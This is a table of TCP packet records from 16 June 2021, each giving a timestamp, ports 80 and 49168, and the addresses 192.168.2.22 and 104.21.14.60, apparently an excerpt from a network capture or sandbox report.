Jun 16, 2021 12:05:18.285577059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285577059 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.285593987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285610914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285626888 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.285630941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285650015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285947084 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.286392927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286411047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286458969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286474943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286484003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.286493063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286510944 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.286511898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286530018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286549091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286567926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.286570072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286587954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286603928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286619902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.286696911 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.287333012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287353039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287370920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287390947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287395000 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.287410975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287426949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287429094 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.287445068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287461996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287478924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287494898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287511110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287513018 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.287530899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.287633896 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.288285017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288305044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288345098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288362026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288364887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.288379908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288395882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288403988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.288409948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288436890 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.288438082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288455963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288474083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.288475990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288495064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288511992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.288573027 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.289210081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289231062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289249897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289267063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289268017 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.289283991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289300919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289318085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289318085 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.289339066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289356947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289372921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289375067 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.289388895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289406061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.289423943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.290148973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290169001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290184975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290205956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290225029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290226936 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.290241957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290241957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.290260077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290277004 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.290277958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290296078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290312052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290328026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290329933 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.290348053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.290406942 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.291083097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.291105986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.291131973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.291163921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.291187048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.291203022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.291256905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.291268110 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.307698965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.307727098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.429996967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430093050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430140972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430188894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430241108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430258989 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430290937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430341005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430385113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430389881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430430889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430480003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430520058 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430525064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430571079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430622101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430670977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430671930 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430717945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430762053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430766106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430810928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430850029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430856943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430882931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430898905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430922031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.430941105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.430984974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431020975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431025982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431066036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431096077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431106091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431180000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431220055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431252003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431260109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431299925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431332111 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431339025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431370974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431384087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431427002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431457996 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431467056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431498051 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431725025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431771040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431775093 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431813002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431853056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431879044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431889057 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431894064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431934118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.431967974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.431977987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432020903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432066917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432101011 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432107925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432152033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432176113 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432195902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432703018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432760954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432775021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432786942 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432810068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432831049 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432854891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432899952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432940006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.432950974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.432998896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433015108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433044910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433089018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433125973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433136940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433181047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433218002 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433227062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433265924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433608055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433664083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433691978 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433707952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433753967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433799982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433845043 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433845997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433892012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433938026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.433953047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.433983088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434031010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434053898 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434071064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434115887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434148073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434529066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434578896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434623003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434628963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434674025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434719086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434726954 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434766054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434793949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434818029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434869051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434885025 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.434911013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.434956074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.435003042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.435044050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.435049057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.435072899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437271118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437302113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437323093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437344074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437364101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437387943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437410116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437438011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437448025 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437462091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437488079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437506914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437508106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437530041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437553883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437572002 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437580109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437604904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437629938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437635899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437654018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437674046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437697887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437700033 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437725067 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437747955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437777042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437787056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437799931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437819958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437844992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437856913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437866926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437887907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437912941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437922955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.437935114 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437959909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437987089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.437989950 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438007116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438029051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438052893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438074112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438076019 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438095093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438143969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438474894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438563108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438716888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438754082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438766956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438791037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438811064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438836098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438848972 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438858986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438884020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438910961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438915014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.438932896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.438952923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439006090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.439781904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439811945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439831972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439858913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439868927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.439882040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439908981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439932108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439950943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.439984083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.439989090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440011978 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440032005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440054893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440056086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440182924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440516949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440576077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440598965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440622091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440627098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440650940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440666914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440675974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440701008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440712929 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440727949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440747023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440768957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440773964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440797091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440810919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.440821886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.440963984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.443629980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.446095943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.491746902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491779089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491800070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491820097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491841078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491851091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.491864920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491875887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.491889000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491909981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.491913080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491935968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491960049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.491982937 CEST	49168	80	192.168.2.22	104.21.14.60
